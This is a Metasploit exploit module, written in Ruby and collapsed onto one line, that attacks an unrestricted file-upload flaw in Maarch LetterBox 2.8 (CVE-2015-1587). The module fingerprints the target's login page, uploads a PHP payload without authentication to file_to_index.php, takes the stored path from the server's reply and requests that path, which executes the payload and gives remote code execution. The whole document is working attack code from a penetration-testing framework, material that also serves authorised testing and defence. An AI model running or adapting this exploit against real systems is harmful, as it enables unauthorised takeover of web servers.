## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'uri' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Maarch LetterBox Unrestricted File Upload', 'Description' => %q{ This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of session and file validation in the file_to_index.php script. It allows unauthenticated users to upload files of any type and subsequently execute PHP scripts in the context of the web server. }, 'License' => MSF_LICENSE, 'Author' => [ 'rastating' ], 'References' => [ ['CVE', '2015-1587'] ], 'DisclosureDate' => '2015-02-11', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Maarch LetterBox 2.8', {}]], 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Maarch LetterBox', '/']) ] ) end def letterbox_login_url normalize_uri(target_uri.path, 'login.php') end def letterbox_upload_url normalize_uri(target_uri.path, 'file_to_index.php') end def check res = send_request_cgi('method' => 'GET', 'uri' => letterbox_login_url) if res.nil? || res.code != 200 return Msf::Exploit::CheckCode::Unknown('Could not determine the target status') elsif res.body.include?('alt="Maarch Maerys Archive v2.1 logo"') return Msf::Exploit::CheckCode::Appears('The target appears to be vulnerable') end Msf::Exploit::CheckCode::Safe('The target is not vulnerable') end def generate_mime_message(payload, name) data = Rex::MIME::Message.new data.add_part(payload.encoded, 'text/plain', 'binary', "form-data; name=\"file\"; filename=\"#{name}\"") data end def exploit print_status("Preparing payload...") payload_name = "#{Rex::Text.rand_text_alpha(10)}.php" data = generate_mime_message(payload, payload_name) print_status("Uploading payload...") res = send_request_cgi( 'method' => 'POST', 'uri' => letterbox_upload_url, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) fail_with(Failure::Unreachable, 'No response from the target') if res.nil? fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200 print_status("Parsing server response...") captures = res.body.match(/\[local_path\] => (.*\.php)/i).captures fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') if captures.nil? || captures[0].nil? payload_url = normalize_uri(target_uri.path, captures[0]) print_good("Response parsed successfully") print_status("Executing the payload at #{payload_url}") register_files_for_cleanup(File.basename(URI.parse(payload_url).path)) send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) end end